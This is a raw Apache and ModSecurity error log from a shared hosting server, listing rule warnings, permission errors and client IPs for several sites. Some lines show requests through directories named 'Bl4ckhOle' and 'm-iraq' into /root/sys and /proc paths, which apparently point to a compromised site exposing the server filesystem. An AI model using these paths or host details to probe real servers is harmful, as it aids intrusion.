[Fri Jul 17 07:56:53.220273 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_37_no_02_english.pdf"] [unique_id "almS7Yha5y5fYnQ1qRrpZAAAAAE"]
[Fri Jul 17 07:56:53.220595 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_37_no_02_english.pdf"] [unique_id "almS7Yha5y5fYnQ1qRrpZAAAAAE"]
[Fri Jul 17 07:56:53.571727 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:47086] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:54.351210 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_46_no_31-english.pdf"] [unique_id "almS7o1dLClkUfK_dfHa4QAAAAI"]
[Fri Jul 17 07:56:54.351551 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_46_no_31-english.pdf"] [unique_id "almS7o1dLClkUfK_dfHa4QAAAAI"]
[Fri Jul 17 07:56:54.351858 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_46_no_31-english.pdf"] [unique_id "almS7o1dLClkUfK_dfHa4QAAAAI"]
[Fri Jul 17 07:56:55.432760 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_48_no_45-english.pdf"] [unique_id "almS790t9Kb_MdNxrg641AAAAAM"]
[Fri Jul 17 07:56:55.433182 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_48_no_45-english.pdf"] [unique_id "almS790t9Kb_MdNxrg641AAAAAM"]
[Fri Jul 17 07:56:55.433536 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_48_no_45-english.pdf"] [unique_id "almS790t9Kb_MdNxrg641AAAAAM"]
[Fri Jul 17 07:56:56.297360 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:57.026965 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:58.413881 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu1/crash_notes
[Fri Jul 17 07:56:59.067104 2026] [security2:error] [pid 1993571:tid 1993571] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:5/power/runtime_status"] [unique_id "almS8-nUgtv5ujFYWh_pxQAAAA0"]
[Fri Jul 17 07:56:59.067149 2026] [security2:error] [pid 1993571:tid 1993571] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:5/power/runtime_status"] [unique_id "almS8-nUgtv5ujFYWh_pxQAAAA0"]
[Fri Jul 17 07:57:01.311507 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:01.516993 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:01.899826 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:02.914635 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:03.838556 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty41/subsystem/tty36/dev"] [unique_id "almS9ziSeFVxYLkcq6IXTwAAAAc"]
[Fri Jul 17 07:57:03.838600 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty41/subsystem/tty36/dev"] [unique_id "almS9ziSeFVxYLkcq6IXTwAAAAc"]
[Fri Jul 17 07:57:03.857503 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:05.178945 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 47.79.11.176:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:69/subsystem/input0/device/driver/uevent
[Fri Jul 17 07:57:07.458159 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:08.094678 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:39794] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:57:08.146233 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:08.364669 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:09.512279 2026] [security2:error] [pid 1993668:tid 1993668] [client 116.179.37.82:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/rs-plugin/js/extensions/revolution.extension.video.min.js"] [unique_id "almS_RAi3pC6yjXGNq12_wAAAAU"], referer: https://www.nccp.health.gov.lk/ta/commonUnit/publications
[Fri Jul 17 07:57:09.512327 2026] [security2:error] [pid 1993668:tid 1993668] [client 116.179.37.82:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/rs-plugin/js/extensions/revolution.extension.video.min.js"] [unique_id "almS_RAi3pC6yjXGNq12_wAAAAU"], referer: https://www.nccp.health.gov.lk/ta/commonUnit/publications
[Fri Jul 17 07:57:09.712803 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:09.792142 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:09.872573 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:10.302910 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:11.857733 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:11.861956 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:12.397004 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:13.943208 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu2/node0/cpu0/crash_notes
[Fri Jul 17 07:57:15.398407 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:16.402599 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ptmx/subsystem/ttyS3/dev"] [unique_id "almTBJOFLENLI63GGOEEcAAAAAQ"]
[Fri Jul 17 07:57:16.402637 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ptmx/subsystem/ttyS3/dev"] [unique_id "almTBJOFLENLI63GGOEEcAAAAAQ"]
[Fri Jul 17 07:57:18.650024 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:58282] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:57:20.964741 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:21.025829 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:21.364986 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:47050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:57:23.180596 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:23.270347 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:23.583996 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:23.923590 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:47132] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:57:25.829459 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:25.926003 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:27.115369 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:47250] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:57:27.415117 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:27.490456 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:27.855422 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:47274] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:57:28.206864 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:28.465932 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:47294] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:57:29.761374 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:30.294533 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTEo4Wmn5zySdNNkAecwAAABM"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:57:30.294564 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTEo4Wmn5zySdNNkAecwAAABM"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:57:30.556451 2026] [security2:error] [pid 1993604:tid 1993604] [client 43.130.67.6:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almTEoha5y5fYnQ1qRrpgwAAAAE"], referer: https://dragon.lk/store/index.php?route=account/address
[Fri Jul 17 07:57:30.556496 2026] [security2:error] [pid 1993604:tid 1993604] [client 43.130.67.6:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almTEoha5y5fYnQ1qRrpgwAAAAE"], referer: https://dragon.lk/store/index.php?route=account/address
[Fri Jul 17 07:57:31.289799 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:31.879602 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:32.189910 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:60018] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:57:35.513361 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:60188] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:57:35.863507 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:36.069979 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:36.719547 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:60240] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:57:36.997412 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:39.275068 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:39.710124 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:40.101362 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:41.044737 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 47.79.11.134:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:13/subsystem/uevent
[Fri Jul 17 07:57:41.052108 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:43.393055 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 47.82.15.36:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/bus/acpi/devices/device:15/subsystem/drivers_probe
[Fri Jul 17 07:57:43.587399 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:45.242633 2026] [security2:error] [pid 1993573:tid 1993573] [client 172.121.76.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almTH3t8zp89pALg8Q5faAAAAA4"]
[Fri Jul 17 07:57:45.242680 2026] [security2:error] [pid 1993573:tid 1993573] [client 172.121.76.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almTH3t8zp89pALg8Q5faAAAAA4"]
[Fri Jul 17 07:57:49.462975 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTJWidQp3SsqeycPEm8QAAAAo"], referer: http://www.anandaobauae.org/?13.59.30.180uploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 07:57:49.463011 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTJWidQp3SsqeycPEm8QAAAAo"], referer: http://www.anandaobauae.org/?13.59.30.180uploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 07:57:49.943971 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 57.141.18.25:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory61/node0/memory5/node0/memory87/subsystem/drivers_probe
[Fri Jul 17 07:57:50.479074 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:40096] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:57:51.508661 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:51.590952 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:51.765144 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:52.586503 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:52.678140 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:57:54.050221 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:00.746343 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 47.82.49.172:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:03.0/rom
[Fri Jul 17 07:58:01.483391 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:01.620633 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:02.157529 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:03.494985 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.244.66.243:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.nccp.health.gov.lk"] [uri "/en/posts/world-cancer-day-circular-2024-tamil"] [unique_id "almTMziSeFVxYLkcq6IXdQAAAAc"]
[Fri Jul 17 07:58:03.495331 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/en/posts/world-cancer-day-circular-2024-tamil"] [unique_id "almTMziSeFVxYLkcq6IXdQAAAAc"]
[Fri Jul 17 07:58:03.495635 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/en/posts/world-cancer-day-circular-2024-tamil"] [unique_id "almTMziSeFVxYLkcq6IXdQAAAAc"]
[Fri Jul 17 07:58:04.346346 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:05.170700 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:05.256628 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:05.358316 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:05.623776 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:06.014736 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:06.371566 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:06.736371 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty4/subsystem/tty31/dev"] [unique_id "almTNryEqmgiTSUa55oB_wAAABA"]
[Fri Jul 17 07:58:06.736400 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty4/subsystem/tty31/dev"] [unique_id "almTNryEqmgiTSUa55oB_wAAABA"]
[Fri Jul 17 07:58:06.998792 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:08.139553 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 47.82.13.216:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/firmware_node/device:00/subsystem/drivers_probe
[Fri Jul 17 07:58:08.232849 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
